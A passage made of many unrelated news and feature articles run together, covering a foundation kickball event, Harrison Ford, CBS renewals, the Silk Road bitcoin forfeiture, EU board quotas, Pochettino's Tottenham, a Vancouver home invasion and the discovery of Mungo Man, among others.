every kid-friendly event put on by Danny Did Foundation.  The kickball tournament, among other events, brings the already tight-knit community together, said Steve Greifelt, a family friend whose son played in a soccer league with Danny.  His three kids, ages 6, 9 and 11, played kickball despite the muddy fields. The Greifelt family has been supporting the foundation since its inception.  "We miss [Danny]; we wish he were here with us," Greifelt said.  Bob Spallone, 46, whose kids also played kickball, echoed Greifelt's sentiment, adding that the Stantons have reached a lot of people in the community and beyond.  Like the Stanton family, Spallone's family received positive support from the Edgebrook community when it experienced tragedy, he said. Spallone's 12-year-old son, Luke, died in an accident 1½ years ago.  Luke's initials were on the neon-colored T-shirts as well.  "It's a very tight-knit community," said Spallone, explaining the foundation's growth.  "People's cousins come, or their friends come, and a lot of the volunteers may [be too old to play kickball] but they remember to come help."  For more neighborhood news, listen to DNAinfo Radio here:
-This article originally appeared on PEOPLE.COM.  Like Han Solo, Harrison Ford himself has finally awakened to the force of Star Wars. He’s come a long way from wanting to kill off the popular character while making the original movie trilogy to now playing a crucial role in Star Wars: The Force Awakens.  “It might have felt silly, but it didn’t,” Ford, 73, says in PEOPLE’s Star Wars special issue, of reprising his role as Han Solo. “It was fun to work with [director] J.J. Abrams, who brought great energy, passion, and clear focus to the whole event. So I had a good time.”  While Han Solo was the breakout performance that launched Ford to Hollywood stardom and iconic roles including Indiana Jones and Jack Ryan, the actor has never been a Star Wars fanboy. As Ford told PEOPLE after the 1977 premiere of the first movie, Star Wars was “a silly movie but wonderfully made.”  Yet Ford seemed to understand the character of Solo better than anyone. He earned the role over established stars like Al Pacino and Kurt Russell because he was so convincing as the Han Solo stand-in during early auditions. And Ford helped shape Solo’s look: “The first [costume] iteration had a large blue Peter Pan collar attached to the shirt, which I resisted,” he says.  Ford even ad-libbed the now-famous “I know” response to Princess Leia’s declaration of love in 1980’s The Empire Strikes Back, and he pushed George Lucas to kill Solo in 1983’s Return of the Jedi to show the stakes of galactic war. Lucas kept him alive. Since that movie, though, Ford hasn’t been spending his time obsessing over the questions that fans have been asking: Did Princess Leia and Han Solo go on to get married? Did they have kids who embraced the Force?  Answers won’t be revealed until the movie’s global premiere on Dec. 18. Until then, “I don’t worry about saying anything,” Ford says. “I’m very comfortable with just keeping my mouth shut.”  Check out the secrets of Rey’s speeder:
-CBS has renewed its entire daytime schedule for the 2017-18 season, including a three-year deal for daytime’s No. 1 drama, The Young and the Restless, and an additional two years for network television’s No. 1 daytime show The Price Is Right. The full lineup also includes new seasons of Let’s Make a Deal, The Talk, and The Bold and the Beautiful, which previously received a multi-year pickup through 2017-18.  Now is in its 45th season, The Price Is Right averages 4.84 million viewers.. Hosted by Drew Carey, it is produced by FremantleMedia North America. Let’s Make a Deal, returning for its ninth season, is averaging 3.05 million viewers. It’s produced by FremantleMedia North America, hosted by Wayne Brady.  The No. 1 daytime drama for 28 consecutive years, The Young and the Restless averages 4.93 million viewers. The series is produced by Bell Dramatic Serial Company, in association with Sony Pictures Television.  The Bold and the Beautiful, which recently celebrated its 30th anniversary, is averaging 3.94 million viewers. The most watched dramatic serial in the world is a Bell-Phillip Television production.  Currently in its seventh season, The Talk averages 2.7 million viewers. Recently, the series won the Daytime Emmy for Outstanding Entertainment Talk Show Host for hosts Julie Chen, Sara Gilbert, Sharon Osbourne, Aisha Tyler and Sheryl Underwood. The series is produced by CBS Television Studios.  “CBS Daytime has never been stronger. From 30 consecutive years of being No. 1 in the ratings to another year as the most honored network at the Daytime Emmys, our lineup of talk, game shows and dramas connects with our audience like no one else,” said Angelica McDaniel, EVP Daytime Programs and Syndicated Program Development at CBS Entertainment and CBS Television Distribution. “All of our talent, onscreen and behind the scenes, is hard at work making the upcoming season of these award-winning series even bigger and bolder.”
-It’s been six years since to the day that Paul “Bear” Vasquez showed the world what raw, unfiltered happiness truly looks like in his now-infamous “Double Rainbow” video—and he’s right back where it all started.  “I’m sitting in the same exact spot I was when the Double Rainbow video started,” Vasquez said, speaking to the Daily Dot from the living room of his Yosemite farm. In the original video, Vasquez begins recording while he’s still inside his house, after he notices the multi-colored magnificence outside of his window. He moves outside to get a closer look when he’s completely overcome by the sight of two rainbows stretched across the mountain Vasquez’s house overlooks.  “What does this mean?” Vasquez asks, laughing, crying, trying to make sense of what he was witnessing in the January 2010 video.  Forty-two million views later, Vasquez has achieved a level of Internet fame that he says is merely a “side effect” of what he was put on Earth to do.  “It’s like the first video of God someone put on the Internet. You can’t put an ad on God.”  “A lot of people in the beginning were like, ‘Enjoy your 15 minutes of fame,’ and I knew it wasn’t that. … This was something bigger,” Vasquez said. “The whole thing was so I could give a message to humanity. None of it’s about me.”  That message is simple: Love your fellow man, walk gently on Mother Earth, and connect to spirit. And Vasquez certainly conveys that through his YouTube channel, Yosemitebear62, with over 43,000 subscribers.  Vasquez considers himself a natural when it comes to the Internet, sharing his cosmic messages through Facebook, Twitter, and Instagram. Having made videos since the 1980s, he said, when YouTube finally came out in 2007, he immediately saw that as an opportunity to share his work with a larger audience: the world.  “When the video went viral, I had been living as a starving artist, and I was doing it in a sustainable way,” he said. Now that he accrues extra money from ads on his YouTube channel, as well as commercial appearances here and there, Vasquez says his life is “99 percent exactly the same. … Everything that’s come has been just a bonus,” including the time he appeared in a SmartWater commercial with Jennifer Aniston. “I got to hug her,” he said, laughing. “That was pretty good!”  Still, despite the little ways he’s been able to monetize his videos in these past six years, he still considers the Double Rainbow his “gift to humanity” meant to be seen without the burden of advertising.  “The video is me understanding I’m in the presence of God,” he explained. “So it’s like the first video of God someone put on the Internet. You can’t put an ad on God.”  And Vasquez’s overall message of goodwill has not been lost in a fog of fame. “A lot of people understand that I was marveling at the beauty and power of nature; that’s why it’s so popular,” he said. “People connect to it on the deepest level.”  Vasquez still finds the beauty in nature the same way he did in 2010. “I open my soul and share it without reservation to humanity. I’m just going to react in a pure, open, and honest way,” he said. Indeed, living outside of Yosemite National Park, which he calls the most beautiful place in the world, Vasquez can fully appreciate the world around him.  “I can only do that because I live—I mean, you’ve seen the video—that’s my front yard. I’m looking at that right now,” said Vasquez, referring to the mountain in the Double Rainbow footage. “When you live like that, it really changes you. … It really opens you up.”  Photo via Yosemite Bear Tours/Facebook
-Proposals from European commission would compel businesses to positively discriminate when hiring new executives until quota is reached  The European commission is to push for a quota for women on company boards to address the slow progress to gender equality in the senior ranks of publicly listed businesses.  Under the proposals, companies whose non-executive directors are more than 60% male would be required to prioritise women when candidates of equal merit were being considered for a post.  Previous attempts by the EU’s executive to set a 40% goal for women in the top ranks of listed companies have been blocked by Germany, the Netherlands and Sweden overs fears that Brussels was overreaching into domestic affairs. Hungary and Poland have opposed the move on ideological grounds.  The result of the impasse has been slow progress to greater diversity at the top of companies. Women made up 29% of recruits to UK boards in 2016, down from 32.1% in 2014 and 31.6% in 2012, according to research by the recruiter Egon Zehnder.  White men 'endangered species' in UK boardrooms, says Tesco chairman Read more  The proportion of women on the boards of the largest listed companies across the EU has more than doubled, from 10% in 2005 to 22% in 2015. However, women account for only 7% of board chairs and presidents and 6% of chief executives in the largest companies.  On Monday, the commissioner for justice and gender equality, Vĕra Jourová, will publish proposals to redress the gender pay gap.  Speaking to the Guardian before the launch, Jourová said: “We have so much evidence that it is good for business to have diversity, to have women and men on boards. Women [make up] 65% of university graduates, so why don’t we use that talent and the investment?  “Women have a very good talent for long-term, sensible spending [and] for crisis-solving because they can come up with proposals for negotiation and compromise. It is a necessary balance to the approach of men: attack and escape.”  A quota for boards will be one of a series of legislative proposals aimed at tightening the law to improve diversity and pay practices in work.  The pay gap in the EU, quantifying the difference in average hourly pay for male and female workers, remains resolutely large.  According to figures released in October, Britain registered the biggest increase in the EU’s gender pay gap in 2015. The UK’s gender pay gap jumped from 19.7% in 2014 to 20.8% in 2015, the largest annual rise among Europe’s main economies. The gap in the UK now outstrips the EU’s average of 16.3%.  Jourová, the Czech Republic’s representative in the commission, said: “In each country there are special reasons for this. I think that in most member states, maybe all, the main problem is segregated jobs. Females’ jobs, nurses, social services, teachers are underpaid. And is it because women are working in these roles? Maybe. I would guess this is also the case with the UK and [it is] something they should think about.  “We are addressing the member states with a strong call to look into it and change their renumeration policy in the public sector. The gender pay gap is also partly caused because women have more duties at home and take part-time jobs. And are paid less. It is a trap.”  Across the EU there is a full-time equivalent employment rate of 40% for women and 56% for men.  Jourová said she believes discrimination is still a major factor, and that current EU legislation is ineffective because it is not strongly enforced. Jourová has also suggested legislation to force listed companies to publish gender-specific statistics on pay.  “There are no teeth [to current laws],” she said. “According to our estimates, discrimination accounts for 8-10% of the gap. There is not enough enforcement. It must be done by labour inspectorates, and it should be captured in collective bargaining by the trade unions.”
-The Fourth Doctor, the Second Romana... and the first Jago & Litefoot encounter of 2017!  Released today on CD and Download is The Beast of Kravenos, the opening story of this year's sixth series of Doctor Who - The Fourth Doctor Adventures, when writer Justin Richards brings the Doctor (Tom Baker), Romana (Lalla Ward) and K9 (John Leeson) to Victorian London for a night at the theatre with Jago (Christopher Benjamin) & Litefoot (Trevor Baxter):  A stunning new star act is wowing the audiences of the New Regency Theatre. The modern mechanical marvel of canny canine charisma - the automated dog that can answer any question - the incomparable - the unbeatable - K9!  The Doctor and Romana have returned to Victorian London and been reunited with their old friends Professor George Litefoot and Henry Gordon Jago. However this is not merely a social visit. A terrifying crime spree is sweeping the capital, and the burglaries of 'The Knave' defy all logic.  Something impossibly dangerous is taking place amid the fog. Only the time travellers and their friends can stop it... but can they be sure they're all on the same side?  Doctor Who - The Fourth Doctor Adventures: The Beast of Kravenos is available from today on Download and CD for £8.99 and £10.99 respectively - or you can save money through subscribing to the whole series of nine stories for £65 or £75. Announced just before Christmas is a seventh run of adventures for Tom Baker as the Fourth Doctor, available in two four-story boxed sets which can be subscribed to for £40 or £45 depending on format.  The range continues next month as the Doctor and Romana confront the Sontarans in The Eternal Battle!
-The founder of the Silk Road underground website has forfeited the site and thousands of bitcoins, worth around US$28 million at current rates, to the U.S. government.  The approximately 29,655 bitcoins were seized from the Silk Road website when the Federal Bureau of Investigation (FBI) moved to close it in late September. The site served as an underground marketplace for drugs and other illegal items, relying on bitcoins for transactions because such payments are much more difficult to trace, the government says.  Ross Ulbricht, also known as "Dread Pirate Roberts," operator of the site, was arrested on Oct. 1 in a San Francisco public library while allegedly logged into the site, according to court papers. He was subsequently charged with one count of narcotics conspiracy, one count of conspiracy to commit computer hacking and one count of money-laundering conspiracy.  The government had argued that the bitcoins were used to facilitate money laundering and thus should be forfeited along with the website.  "The United States Marshals Service shall dispose of the Silk Road Hidden Website and the Silk Road Server Bitcoins according to law," wrote Judge J. Paul Oetken, of the U.S. District Court for the Southern District of New York, in a court order that was issued on Wednesday but not made public until Thursday.  The ruling represents the largest-ever forfeiture of bitcoins.  "It is the intention of the government to ultimately convert the bitcoins to U.S. currency," said Jim Margolin, a spokesman for the U.S. Attorney's office for the Southern District of New York.  Once converted, the bitcoins, like monetary proceeds of other crimes, will go into the government's general fund, he said. There, they will be used for general-purpose spending.  The bitcoins that Ulbricht forfeited are a fraction of the total amount seized by the government in connection with the case.  The government still holds an additional 144,336 bitcoins, worth around $130 million at present, and has asked a court to order the forfeiture of those assets, too. Ulbricht filed a claim contesting the government's move and asserting he is the owner of the bitcoins, the U.S. Attorney's Office said.  Martyn Williams covers mobile telecoms, Silicon Valley and general technology breaking news for The IDG News Service. Follow Martyn on Twitter at @martyn_williams. Martyn's e-mail address is martyn_williams@idg.com
-What would happen if responsible citizens stepped up to do the police’s job during the rioting that authorities in the government and media whipped up for political reasons in Ferguson? They would be shut down by the very police that idly allowed lowlife to loot and/or burn down dozens of businesses — as the Oath Keepers learned:  Oath Keepers boarded up a bunch of the storefronts and started night rotations on several rooftops. … Fearing more arsonists, Oath Keeper volunteers kept buckets of water, fire extinguishers and other nonlethal weapons on the rooftops. Some are also armed with rifles that aren’t available at Walmart and Cabela’s. The volunteers said they were well aware of the risk to life that arson can play and the legal right to stop it from happening. Group volunteers say they are confident they have helped protect property and lives since they arrived. Victor Clark, a dentist at Ferguson Dental on South Florissant Road, said he was happy to have the Oath Keepers’ free assistance. He wants to reopen his business soon. On Monday, rioters shattered the front door and window, and stole dental needles and anesthetic. Then Oath Keepers showed up out of the blue. “We gave them our keys,” he said. “We didn’t know that much about them, but we got a feeling of trust. You have to do something to protect our building.”  Someone sure does — since the money paid for this in taxes apparently all goes to wealth redistribution.  Considering that Missouri’s Democrat governor had refused to use the National Guard to defend businesses from the rioters (evidently under pressure from Obama), this was not likely to go over well with officials.  Police questioned group members early in the week and allowed them to stay. But Saturday, after media inquiries, St. Louis County police officers ordered the Oath Keepers to leave the rooftops. Threatened with arrest for operating without a license, the volunteers argued but eventually left their positions early Saturday, Rhodes said. “We are going to go back as protesters,” [Oath Keepers founder Stewart] Rhodes said Saturday afternoon.  Maybe if they throw a few Molotov cocktails through innocent people’s windows, they can get the folks in charge on their side.  Authorities didn’t want volunteers spoiling the spectacle.  On tips from Sean C, Bill T, and Stormfax. Hat tip: Conservative Refocus.
-AUSTIN, Texas -- Texas Capitol police confiscated all kinds of items from people on Friday -- including jars of feces -- as hundreds of protesters flooded the building in the final hours of a Senate debate on a controversial abortion bill.  But one woman told The Huffington Post that Capitol police went as far as to take away food she carried to help with her diabetes and to very publicly confiscate her maxi pads.  Paula Chaney of Georgetown, Texas, described being line at the Capitol with her friends when an officer came over to give a rundown of items not allowed in the building. She said the cop never mentioned feminine products.  "When I got to the bag check, the troopers were all acting very aggressively," Chaney said. "As a diabetic, I carry food -- both quick sugar and protein -- and I have never had any trouble taking it in anywhere when I remind the personnel involved of the protections afforded by ADA law. This time, I was told that the law didn't apply and I either lost my food or my place in line."  Chaney said the officer, who she identified as Trooper Stoner, then unzipped the personal care section of her purse, took out two purple-wrapped maxi pads and "started waving them around, much to my humiliation and horror, and said that they were not allowed in either."  Chaney said she pleaded with him, informing him that her menstrual period had started that day, but the officer accused her of being "aggressive." When she told a supervising officer that the way they were being treated was "a travesty," she said that officer marched her over to the nearest elevator, yelling the entire time, and said she was welcome to leave the building. Without her maxi pads, she decided to leave.  "I am a middle-aged white woman, and not used to being treated this way by law enforcement, certainly not the DPS troopers in the Capitol," Chaney said. "I have been in and out weekly and more all session, and I have never seen anything like I have the last few days."  AmericaBlog captured a video of Chaney moments after the ordeal, which shows her visibly upset as friends comfort her.  Chaney and her friends were dressed in orange T-shirts, a color that represents opposition to the abortion bill. People in support of the bill wore blue shirts. Chaney said she noticed that people in blue shirts in line weren't being searched as closely as she and her friends, and said those people were allowed to bring things into the Senate gallery that she and her friends were not.  "A whole lot of people are trying to shut us up," Chaney said. "This was just way over the line."  The Texas Department of Public Safety indicated earlier Friday that officers would thoroughly search everyone coming into the Capitol for articles that potentially could be thrown at lawmakers for as long as the Senate debate continues. But Stand With Texas Women later tweeted that police had stopped confiscating tampons and maxi pads, at the urging of Democratic Sen. Kirk Watson.
-What is it that we have received “without cost?” Well, we have received every good thing for free. It’s true! All that is good is a gift from God. And it’s a free gift from Him. There is nothing we can do to earn His blessings in our lives. Do you believe that?  The above Scripture quote is part of Jesus’ exhortation to His Twelve Apostles as He sends them out to preach, heal and cast out demons in His name. He reminds them that all they have received from Him is a free gift and that they must, in turn, give the Gospel free of charge to everyone.  Advent is a time when we should especially focus upon the coming celebration of the Gift of Christmas. Christmas is a time when we give and receive gifts, but it’s important to understand the difference between a “gift” and a “present.” A present is something that is expected. For example, your spouse or child expects a present on their birthday or on Christmas. But a gift is something that is much more. A gift is something that is freely given, unearned and undeserved. It’s given out of love with no strings attached. This is what the Incarnation is all about.  Advent must be a time when we ponder the truth that God came to earth to give us Himself in an unmerited and free way. His life is a totally free Gift to us and is the greatest Gift we have ever received. In turn, Advent must be a time when we also reflect upon our calling to bring the Gift of Christ Jesus to others.  Reflect, today, upon the giving and receiving of Jesus in your life. Let your heart be filled with gratitude this Advent so that you, in turn, can give the Gift of Jesus to others.  Lord, thank You for the Gift of Your life. Thank You for coming to earth to enter into my life. Thank You for the joy of knowing You and loving You. May I allow this joy to so transform my life that I may continually seek to give You to others. Jesus, I trust in You.  More for Advent>>>
-Mauricio Pochettino mentioned the concept at a press briefing last December. “Energía universal,” the Tottenham Hotspur manager said, slipping into his native Spanish. It translates fairly literally into English yet the meaning is altogether more profound.  The best way to describe it is as a guiding power, a life force that influences everything. It feels appropriate to consider the Butterfly Effect, which advances the possibility that small causes can have momentous effects, and there is an obvious spiritual dimension to it. Universal energy. It has shaped Pochettino’s approach to life and been at the heart of his psychological transformation of Spurs. It will continue to sustain him and his on-pitch disciples in Sunday’s north London derby against Arsenal at White Hart Lane.  Dele Alli, Twitter loneliness and the cautionary tale of Renato Sanches | Barney Ronay Read more  Pochettino first brought it into the public domain as part of a discussion about Harry Kane and how the striker’s awareness of Tottenham’s place and identity in London had helped him to find extra edge in derby matches. Kane has an eye-catching scoring record against his club’s capital city rivals: he now has 22 goals in 31 games.  “I believe in energía universal,” Pochettino said. “It is connected. Nothing happens for causality. It is always a consequence [of something else]. Maybe, it is one of the reasons that Harry always scores in derbies. I believe in that energy. For me, it exists.”  The references had been there, previously, and more have followed since. Pochettino routinely talks of the necessity to “put our energy” into a particular player or “give our love” to another one.  It cuts both ways. The Argentinian is equally sensitive to negative personal energy and he said recently that his team had “spent a lot of energy fighting” Leicester City at the end of last season but also everybody else who had wanted their rival’s Cinderella Premier League title story to come true. “That was a very bad period for us,” Pochettino said. It was a sharp spike in Tottenham’s learning curve.  Pochettino has made it his mission to harden the mentality at Spurs, having found what he felt was a collectively weak one when he arrived in May 2014. To him, everything is related to energy and it not only drives his team’s high-octane style. He demands that his players run themselves into the ground – most notoriously, during his remorseless pre-season training sessions – but, also, that they are prepared to fight until the last breath of every game.  It takes a specific type of player to connect with Pochettino, to buy into his rhythms and motivational techniques, and he inherited plenty who could not. The early months of his White Hart Lane tenure were a trial and the situation was not helped by his previous club, Southampton, having made a flying start to the season under their new manager, Ronald Koeman.  When Pochettino took his team to Aston Villa on 2 November 2014, they were 12th in the Premier League. Southampton were second. But Tottenham won 2-1, having been 1-0 down, and Pochettino would come to consider the result as the turning point. Kane had come on for Emmanuel Adebayor and he scored the winner with a deflected free-kick in stoppage time. Thereafter, he would replace Adebayor in the starting lineup. Of Pochettino’s 18-man matchday squad at Villa Park, only eight are still at the club.  Play Video 1:08 Tottenham focused on more than just finishing above Arsenal, says Pochettino – video  Pochettino had started by giving opportunities to the squad’s more senior players. He believed it to be the correct approach. Had he thrown in the youngsters straight away and it not worked out, it would have been more difficult to turn to the older heads.  But it has long been clear – going back to Pochettino’s first managerial post at Espanyol and then Southampton – that he prefers to work with younger, more malleable players. He is obsessed by profiling and the prototype Pochettino player is tactically flexible, physically imposing, full of desire, open to learning and blessed with good character.  The prototype Pochettino player is physically imposing, tactically flexible, full of desire, open to learning and blessed with good character  Pochettino gives them freedom. For example, players at some clubs have to sign up to a code of conduct but not at Tottenham. Pochettino will not fine a player for being a couple of minutes late or wearing the wrong clothing. To him, it is important that they have the framework to express themselves. But there are limits. There are principles that must be respected and, above all, he must be respected.  Pochettino would describe his approach as fluid and holistic. He is not bound by conventions, such as running through tactics and set pieces the day before a game or naming the team immediately after the final session. For the 3-0 home win over Hull City on Wednesday 14 December, he announced the lineup two hours before kick-off. Furthermore, he switched to a formation with three at the back.  The timing was partly because the team had played at Manchester United on the Sunday and so, by Tuesday, were still in recovery mode, when Pochettino believes that he cannot stress the players’ bodies or minds. And so he waited. Some managers stick to pre-match schedules partly as a comfort to themselves, so that they can say they ticked every box. Not Pochettino.  The 45-year-old is young enough to be matey with his players but old enough to take a distance. What he prioritises is knowing everything about them; how they react and, crucially, how they feel. It is often said, behind the scenes at the club, that Pochettino likes to feel before he makes a decision – in other words, rely upon intuition.  Wenger rejects Arsenal-Spurs power shift: ‘One year can’t make up for 20’ Read more  “Faith and belief are important words,” Pochettino said, on the Thursday before last. “But most important is to feel the faith and the belief when it is running in your blood and your body.”  Pochettino puts the good vibrations into his players. Why does he talk up the credentials of the back-up goalkeepers, Michel Vorm and Pau López, even though they cannot expect to displace the first-choice, Hugo Lloris? Because they need to feel the positive energy. When they are required – Vorm, in particular – they cannot flick a switch and perform. They have to be primed; a part of the collective chemistry; a member of the family.  Pochettino’s confidence in his squad is total these days, and it is why he never complains about injuries. He knows that a replacement is tuned in and ready to go. A feature of Tottenham’s season has been how well they have coped, at various times, without Kane, Lloris, Toby Alderweireld, Jan Vertonghen and Danny Rose.  To Pochettino, every member of his squad is a complex individual and he has had to mine deep into their psyches to understand them. In some cases, it has taken more than two years to arrive at the connection but he believes that it is the only way to get the best out of them. It might be that just one of them responds in a positive way to a particular thing. It makes the thing worthwhile.  The way that Pochettino and his staff use data and analyse performance is extraordinary in its detail and, allied to their psychological approach, they are able to devise bespoke programmes for the players. There have been occasions when there are eight different types of training in one day. Pochettino knows when a player ought to train or rest, when he needs the carrot or the stick. Over recent weeks, with the team on an eight-match winning streak in the league, he has tried to push, rather than relax. The players are more receptive when their tails are up.  Tottenham clash with Arsenal takes Pochettino back to another demolition derby | David Hytner Read more  Pochettino’s success at Tottenham has been striking on several levels. He was charged with establishing the club in the top four. Instead, he has them in title contention for a second successive season. It has been done on a relative shoestring, with a “completely different project to the big sides”, to borrow a phrase from Pochettino, while it might also be noted that he is working with a third sporting director in less than three years. After Franco Baldini and Paul Mitchell, it is now Steve Hitchen who is in charge of scouting and recruitment.  The trends are upward; the improvement in many players pronounced. Will it lead to a trophy this season? Possibly, although Chelsea remain the favourites for the title and they showed their superiority over Pochettino’s team last Saturday, when they beat them 4-2 in the FA Cup semi-final.  Yet Pochettino does not see silverware as the route to validation. He is consumed, instead, by the work; the process; the energy. The trophies would be a consequence.
-UPDATE (July 29, 4 p.m.): Vancouver Police have released new photos of one of the men involved in the home invasion.  Initially, they described one suspect as having full sleeve tattoos on both arms. Investigators now have higher quality photos of him, which reveal the tattoos are not sleeves, but are quite distinctive, with the one on the right forearm appearing to be tribal style with a scorpion.  “Police are hoping the release of these additional photos will result in that one tip needed to positively identify the two men,” says VPD Cst. Brian Montague in a statement.  “Someone knows who they are and we hope that the appalling circumstances of the crime will convince someone to come forward.”  Two men are wanted for questioning in connection with a home invasion in East Vancouver involving a seven-year-old child.  According to Vancouver police, two men dressed in construction gear forced their way into a home in the 3300-block of Dieppe Street at about 3:30 p.m. on June 17.  One of the men, who was carrying a gun, pointed it at the seven-year-old girl and demanded money. She then went to her parent’s bedroom and handed over a jar of change.  A man in the home was hurt and taken to hospital for a non-life threatening injury to his head.  VPD Sgt. Randy Fincham said a number of undisclosed items were stolen from the home, including a rare and unique watch — a Rolex Yachtmaster II steel and rose-gold watch.  The two suspects were last seen walking away from the front entrance of the home, south on Dieppe Street.  The first man is described as 25 to 45 years old with a slim build, shaved head and full sleeve tattoos on both arms. The other man is dark-skinned, 20 to 30 years old with a medium build and a thin beard.  “It’s very unique there’s a small child that was victimized during a home robbery or home invasion,” Fincham said. “This was a heinous robbery, which will have an impact on a seven-year-old child and her family for the rest of their lives.”  It is currently unclear why the East Vancouver home was targetted and Fincham said they have tried a number of investigation steps to track down the two suspects as well as the stolen watch.  “The quicker we can identify the two men the quicker we can get them off the streets.”  Anyone with information about the identity of the two men is asked to call the VPD Major Crime Section at 604-717-2541 or Crime Stoppers.  PHOTOS:
-PITTSBURGH (AP) — The former nanny of Pittsburgh Penguins player Chris Kunitz was sentenced Tuesday to five years in federal prison for setting fire to her rental residence and then filing fraudulent insurance claims for the contents.  The public defender for Andrea Forsythe, 28, unsuccessfully sought a term running concurrently to one she’ll receive next month for thefts from the Penguins player and other people for whom she worked as a nanny.  She also was ordered to pay more than $179,000 restitution to the insurance companies that covered her losses in the June 23, 2014 fire in Sturgeon.  In the other cases, Forsythe was convicted of numerous crimes and will be sentenced Jan. 3 by a judge in Allegheny County Common Pleas Court. Prosecutors say she stole $12,000 diamond earrings from Kunitz’s home in 2013 and sold them to jewelry stores. The earrings were a birthday present for Kunitz’s wife, Maureen.  The theft charges filed by police in Collier Township, where Kunitz lives with his wife and their children, grew out of the arson and insurance fraud investigation by the federal Bureau of Alcohol, Tobacco, Firearms and Explosives into the Sturgeon fire.  Forsythe pleaded guilty in July to federal charges of malicious destruction of property by fire and wire fraud for burning the house, then filing fraudulent insurance claims for the contents, including some jewels she had allegedly stolen from another couple while also working as a nanny.  The other couple told investigators that an 18-karat gold diamond necklace worth about $4,400 and a gold diamond stud earring worth more than $10,000 had been stolen from them. Appraisals of those jewels were then used by Forsythe to make the fraudulent insurance claims, federal authorities contend.  As that investigation progressed, Forsythe eventually confessed to stealing the earrings from Maureen Kunitz. They were appraised at $11,900 when Kunitz bought them for his wife’s birthday sometime before she noticed them missing in September 2013.  Forsythe acknowledged stealing the diamond earrings from Maureen Kunitz’s bedroom while the couple wasn’t home, the Collier Township police complaint said. Forsythe then sold a loose diamond from one earring to a jewelry store for $2,542 and the other earring to a precious metals and jewelry store for $1,408.50.  Forsythe’s federal public defender, Jay Finkelstein, in court documents blamed the thefts on Forsythe’s allegedly abusive home life as a child. Finkelstein has a blanket policy of not commenting to the media.  U.S. District Judge Cathy Bissoon refused Finkelstein’s request to allow Forsythe’s federal sentence to run concurrently to whatever sentence she receives next month saying the theft victims “deserve their own justice, so to speak, and the court will not intervene here.”  However, the county judge could still order that sentence to run concurrent to the federal sentence. If that happens, Forsythe would get credit for serving both terms simultaneously, instead of serving them one after the other.  Forsythe’s public defender in the Allegheny County theft case didn’t immediately return a call for comment Tuesday.  ___  This story has been corrected to say earrings were sold to jewelry stores rather than jury stores.
-Mr. Pemoulie, who owns the restaurant with his wife, Alex, could do more to invite travelers, however. Reservations are not taken for parties of fewer than five, and there is a particularly unwelcoming wrinkle. If you have to wait for a table and there is no room at the bar, a host will take your phone number and point you toward some nearby saloons. But then she will tell you that if you don’t pick up the phone, she will immediately move on to the next name on the list.  If you’ve ever missed a call while sitting inside a bar, this may strike you as inconsiderate at the least. Luckily, I passed the time enjoying the company of the high-spirited bartenders at a fusion place down the street called Sushi Tango, and my phone always rang.  After walking down blocks of neat townhouses that reminded me of Brooklyn, I was always happy to head toward the lights streaming from the windows that wrap around Thirty Acres’ corner spot on Jersey Avenue. The 32-seat dining room is simple and relatively unornamented, apart from the pastel portraits of Jimmy Carter and Gerald Ford on corrugated cardboard.  I don’t know what brought the ex-presidents to Jersey City, but their benign presence seems to have rubbed off on the servers, who are unusually friendly and free of pretense, and on the amateur disc jockey who stocked the playlist with tunes like “Don’t Worry, Be Happy.”  The look of the menu is pure Momofuku, with its sans-serif font under boldface headings like “Things” and “Sweet Guys” (desserts). Under “Raw” are two starters that give Mr. Pemoulie a chance to raid the larder of the Ashkenazi Jews, something he did frequently and successfully as fall changed to winter.  A mash of beets with horseradish, last seen at Passover trying to make the best of its unfortunate marriage to gefilte fish, tries out a new partner at Thirty Acres, East Coast oysters on the half shell, liberated for the night from their unfortunate liaison with cocktail sauce. This was one time when infidelity brought out the best in both accomplices.  Tasting cured belly of Arctic char sprinkled with sesame seeds and sea salt and accompanied by whipped scallion cream cheese, I could close my eyes and believe I was at a brunch catered by Russ & Daughters. The missing element, a bagel, wasn’t missed at all; it would have gummed up the gently sweet slices of fish.
-The US Navy has awarded Saab a contract to deliver its Sea Giraffe agile multi beam (AMB), multi-mode radar (MMR) for the US Coast Guard’s offshore Patrol Cutters.  The current contract is worth $16.8 million and contains options for further deliveries which could bring the overall contract value to $118.5 million.  Saab’s Sea Giraffe MMR, a 3D, electronically scanned phased array radar, provides high radiated power, selectable waveforms, and modern signal processing to consistently achieve high performance across various marine environments.  The initial order covers the procurement of two systems with options for additional radars.  In addition to the coast guard, the company’s AN/SPS-77 radar is currently deployed on the US Navy’s Independence-class littoral combat ship. A derivative of AN/SPS-77 known as AN/SPN-50, is being developed to meet the Air Traffic Control needs on aircraft carrier and amphibious assault class ships for the US Naval Air Systems Command.  Saab said the order would contribute new jobs to SDAS’ Sensor Systems facility in Syracuse, NY. In January, Saab signed a Memorandum of Understanding (MOU) with New York State aimed at expanding Saab’s presence in Central New York.  “This allows us to move forward on our Central New York growth strategy, and to expand our deliveries of Saab’s proven naval radar capabilities to these important US Navy and USCG customers”, Erik Smith, president and CEO of Saab Defense and Security USA said.
-Forty years on from the discovery of Mungo Man, what he represents is as pertinent now as ever  26 February 1974 was a historic day, one destined to change my life and affect the lives of many others. It was the day I encountered the eroding remains of Mungo Man on the shores of a distant and then unnamed lake basin in western New South Wales.  Five years earlier, on those same dry lake shores, I had happened upon the cremated remains of a young woman, now known as Mungo Lady. Her discovery established that fully modern humans had been in Australia for longer than any European expected. But just as significant were the complex ceremonial features of the burial of Mungo Man, which presented one of the dramatic mysteries of ancient human cultural development. His emergence 40 years ago was a special moment, the opening of an entirely new page in Australian history. The circumstances of that encounter help clarify understanding of who we are; they establish an ancient link with this land and our shared past.  In the summer of 1974, in geological pursuit of ice age climatic change, I was using dry lake basins as rain gauge records of past wet-dry climatic oscillations. Heavy rain had interrupted my excursions into what was an eroding wonderland, the large high-rimmed dune or lunette lining the eastern shores of the yet-to-be-named Lake Mungo. I was temporarily “confined to barracks” at Mungo station, the homestead and shearers’ quarters of the late Albert and Venda Barnes.  Local station owners Venda and Albert Barnes view the results of excavation with archaeologist Dr Alan Thorne, right. Photograph: Jim Bowler  Eventually the rain stopped, the mud dried and the landscape brightened. Eager to explore surfaces refreshed by cleansing rains I hastened to the site of the earlier Mungo Lady discovery, the Joulni or southern sector of the big lunette, an area rich in items of archaeological and geological interest. While I was following a distinctive soil horizon, one that had already yielded many artefacts, the late afternoon sun highlighted a tiny patch of something white shining through a cover of expansive sand mantle.  An immediate examination revealed what was obviously the domal part of a human skull. I brushed away sand to reveal that the jawbone was intact. This was part of an emerging body. Suddenly, and only 400 metres from the site of Mungo Lady, the number of human grave sites on the dunes was 